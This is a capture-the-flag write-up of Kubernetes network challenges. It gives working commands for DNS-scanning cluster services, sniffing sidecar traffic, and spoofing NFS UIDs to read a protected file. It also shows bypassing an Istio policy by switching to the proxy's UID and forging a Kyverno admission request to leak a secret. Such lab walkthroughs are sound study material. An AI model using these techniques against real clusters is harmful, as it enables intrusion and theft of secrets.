1. Recon
DNSing with the stars
You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further. As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have "loaded your machine with dnscan to ease this process for further challenges.
According to the challenge description, we should conduct DNS scanning to locate a svc (service). Sending an HTTP request to this svc may reveal the flag. Initially, we need to determine the IP range, which can be achieved by reading the environment variables. The tool required for DNS scanning is located within a container. After executing the dnscan binary against the IP range 10.100.*.*, we discovered a svc. Subsequently, sending an HTTP request to this svc provided us with the flag.
- Find IP range:
player@wiz-k8s-lan-party:~$ env KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_PORT=443 USER_ID=fc3c21f6-5d0d-4474-8e22-4d77727141e8 HISTSIZE=2048 PWD=/home/player HOME=/home/player KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443 HISTFILE=/home/player/.bash_history TMPDIR=/tmp TERM=xterm-256color SHLVL=1 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
KUBERNETES_SERVICE_HOST=10.100.0.1
KUBERNETES_PORT=tcp://10.100.0.1:443 KUBERNETES_PORT_443_TCP_PORT=443 HISTFILESIZE=2048 _=/usr/bin/env
- Scan IP range:
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.*.* 34996 / 65536 [----------------------------------------------------------------->_________________________________________________________] 53.40% 978 p/s10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local. 65476 / 65536 [-------------------------------------------------------------------------------------------------------------------------->] 99.91% 977 p/s10.100.136.254 ->
getflag-service.k8s-lan-party.svc.cluster.local.
65536 / 65536 [--------------------------------------------------------------------------------------------------------------------------] 100.00% 980 p/s
- Send HTTP request to service:
player@wiz-k8s-lan-party:~$ curl getflag-service.k8s-lan-party.svc.cluster.local
wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star}
Hello?
Sometimes, it seems we are the only ones around, but we should always be on guard against invisible sidecars reporting sensitive secrets.
All the challenges in this CTF revolve around network misconfigurations, so this one should somehow relate to the topic. Initially, I ran a DNS scan and discovered a svc, but sending HTTP requests to the service didn't lead me to the flag. The challenge description mentioned a sidecar, indicating a shared network namespace. Additionally, the hint provided by the challenge logo pointed towards sniffing. Upon examining the open network connections, this idea was supported. Utilizing tcpdump to capture network traffic ultimately led us to uncover the flag.
- Scan IP range:
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.*.* 43753 / 65536 [---------------------------------------------------------------------------------->________________________________________] 66.76% 967 p/s 10.100.171.123 reporting-service.k8s-lan-party.svc.cluster.local. 65405 / 65536 [-------------------------------------------------------------------------------------------------------------------------->] 99.80% 967 p/s10.100.171.123 ->
reporting-service.k8s-lan-party.svc.cluster.local.
- Get open connection:
player@wiz-k8s-lan-party:~$ netstat -tnluap Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 192.168.4.203:44070 10.100.171.123:80 TIME_WAIT -
tcp 0 0 192.168.4.203:40752 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:41876 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:46492 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:46494 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:41872 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:34570 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:34580 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:40740 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:59264 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:59276 10.100.171.123:80 TIME_WAIT - tcp 0 0 192.168.4.203:44066 10.100.171.123:80 TIME_WAIT -
- Capture traffic:
player@wiz-k8s-lan-party:~$ tcpdump -A -i any dst host 10.100.171.123 | grep "wiz_k8s" tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}
3. Data Leakage
Exposed File Share
The targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦️.
This challenge was easy to solve, yet I encountered some difficulty to find a start point :D. It took me a while to comprehend what was clearly ponited out, NETWORK STORAGE! Upon inspecting the mount information it is apparent that the flag resides within flag.txt in the /efs directory, However we lack permission to access the content due to UID mapping. As observed in the mount information this is an EFS share. By manipulating the UID and GID, we can access the file content. However, the capabilities within this container are limited, preventing us from remounting or remapping the user ID through the creation of another namespace. Alternatively, we can communicate directly with the NFS server and modify our UID and GID using the nfs-cat and nfs-ls binaries.
- Check mount:
player@wiz-k8s-lan-party:~$ mount | grep nfs fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4 (ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport, proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.4.189, local_lock=none,addr=
192.168.124.98
) player@wiz-k8s-lan-party:~$ ls -lah /efs total 8.0K drwxr-xr-x 2 root root 6.0K Mar 11 11:43 . drwxr-xr-x 1 player player 51 Mar 19 09:03 .. ---------- 1 daemon daemon 73 Mar 11 13:52 flag.txt player@wiz-k8s-lan-party:/efs$ cat flag.txt cat: flag.txt: Permission denied
- Change uid and gid:
player@wiz-k8s-lan-party:~$ nfs-ls "nfs://192.168.124.98/?uid=0&gid=0&version=4" ---------- 1 1 1 73 flag.txt player@wiz-k8s-lan-party:~$ nfs-cat "nfs://192.168.124.98//flag.txt?uid=0&gid=0&version=4"
wiz_k8s_lan_party{old-school-network-file-shares-infiltrated-the-cloud!}
The Beauty and The Ist
Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don't abuse this power; use it responsibly and with caution.
AuthorizationPolicy:
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: istio-get-flag
namespace: k8s-lan-party
spec:
action: DENY
selector:
matchLabels:
app: "{flag-pod-name}"
rules:
- from:
- source:
namespaces: ["k8s-lan-party"]
to:
- operation:
methods: ["POST", "GET"]
This challenge presents us with an Istio AuthorizationPolicy. The policy restricts GET and POST requests to pods labeled with "app: {flag-pod-name}" from the "k8s-lan-party" namespace. Thus, our objective is to access a svc to obtain the flag. Initially, we must locate the svc address, typically done through DNS scanning. However, direct connection to the svc is hindered by the AuthorizationPolicy. To overcome this constraint, we leverage the operation of the istio-proxy sidecar container within the Pod, which operates under UID 1337. By transitioning to UID 1337, where the proxy does not impose any restrictions, we gain the ability to obtain the flag.
- Finding Service:
$ dnscan -subnet 10.100.*.*
57295 / 65536 [----------------------------------------------------------------------------------------------------------->_______________] 87.43% 954
p/s10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
- Connecting to the Service:
root@wiz-k8s-lan-party:~# curl -i istio-protected-pod-service.k8s-lan-party.svc
HTTP/1.1 403 Forbidden
content-length: 19
content-type: text/plain
date: Sat, 23 Mar 2024 00:55:14 GMT
server: envoy
x-envoy-upstream-service-time: 1
RBAC: access denied
- Substitute to the user istio:
root@wiz-k8s-lan-party:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
_rpc:x:102:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:103:65534::/var/lib/nfs:/usr/sbin/nologin
istio:x:1337:1337::/home/istio:/bin/sh
player:x:1001:1001::/home/player:/bin/sh
root@wiz-k8s-lan-party:~# su - istio
su: warning: cannot change directory to /home/istio: No such file or directory
- Sending Http request:
$ curl -i istio-protected-pod-service.k8s-lan-party.svc.cluster.local HTTP/1.1 200 OK server: istio-envoy date: Fri, 15 Mar 2024 20:47:34 GMT content-type: text/plain x-envoy-upstream-service-time: 0 x-envoy-decorator-operation: istio-protected-pod-service.k8s-lan-party.svc.cluster.local:80/* transfer-encoding: chunked
wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux}
Who will guard the guardians?
Where pods are being mutated by a foreign regime, one could abuse its bureaucracy and leak sensitive information from the administrative services.
Policy:
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: apply-flag-to-env
namespace: sensitive-ns
spec:
rules:
- name: inject-env-vars
match:
resources:
kinds:
- Pod
mutate:
patchStrategicMerge:
spec:
containers:
- name: "*"
env:
- name: FLAG
value: "{flag}"
In this challenge, we're tasked with utilizing a mutation policy in Kyverno to retrieve the flag. A specific policy has been provided, guiding us to create an appropriate AdmissionReview manifest with the given details. Our next step involves sending this manifest to the Kyverno service. Upon processing, Kyverno will perform mutations on the manifest, embedding the flag within the environment variables.
- Finding Kyverno Services:
$ dnscan -subnet 10.100.*. *
10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.
10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.
- Finding Endpoint:
player@wiz-k8s-lan-party:~$ curl -s kyverno-svc-metrics.kyverno.svc:8000/metrics | grep "apply-flag-to-env" | less
kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.005"} 1
kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.01"} 5
kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.025"} 5
kyverno_http_requests_duration_seconds_bucket{http_method="POST",http_url="/mutate?apply-flag-to-env",otel_scope_name="kyverno",otel_scope_version="",le="0.05"} 5
- Create an AdmisionReview manifest:
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "ab76586c-3d3f-4853-b60c-a750feb83072",
"kind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"resource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"requestKind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"requestResource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"name": "inject-me",
"namespace": "sensitive-ns",
"operation": "CREATE",
"userInfo": {
"username": "test",
"uid": "a9cab43b-01e7-4e3d-86c7-bed3eca9c9de"
},
"object": {
"kind": "Pod",
"apiVersion": "v1",
"metadata": {
"name": "inject-me",
"namespace": "sensitive-ns",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "inject-me",
"image": "alpine:latest",
"resources": {}
}
]
},
"status": {}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
- Sending a mutation request to Kyverno svc:
player@wiz-k8s-lan-party:~$ curl -sk -XPOST -H "Content-Type: application/json" https://kyverno-svc.kyverno.svc/mutate?apply-flag-to-env -d @raw | jq -r ".response.patch" | base64 -d | jq -C "." [ { "op": "add", "path": "/spec/containers/0/env", "value": [ { "name": "FLAG", "value": "
wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}
"
}
] }, { "path": "/metadata/annotations", "op": "add", "value": { "policies.kyverno.io/last-applied-patches": "inject-env-vars.apply-flag-to-env.kyverno.io: added /spec/containers/0/env\n" } } ]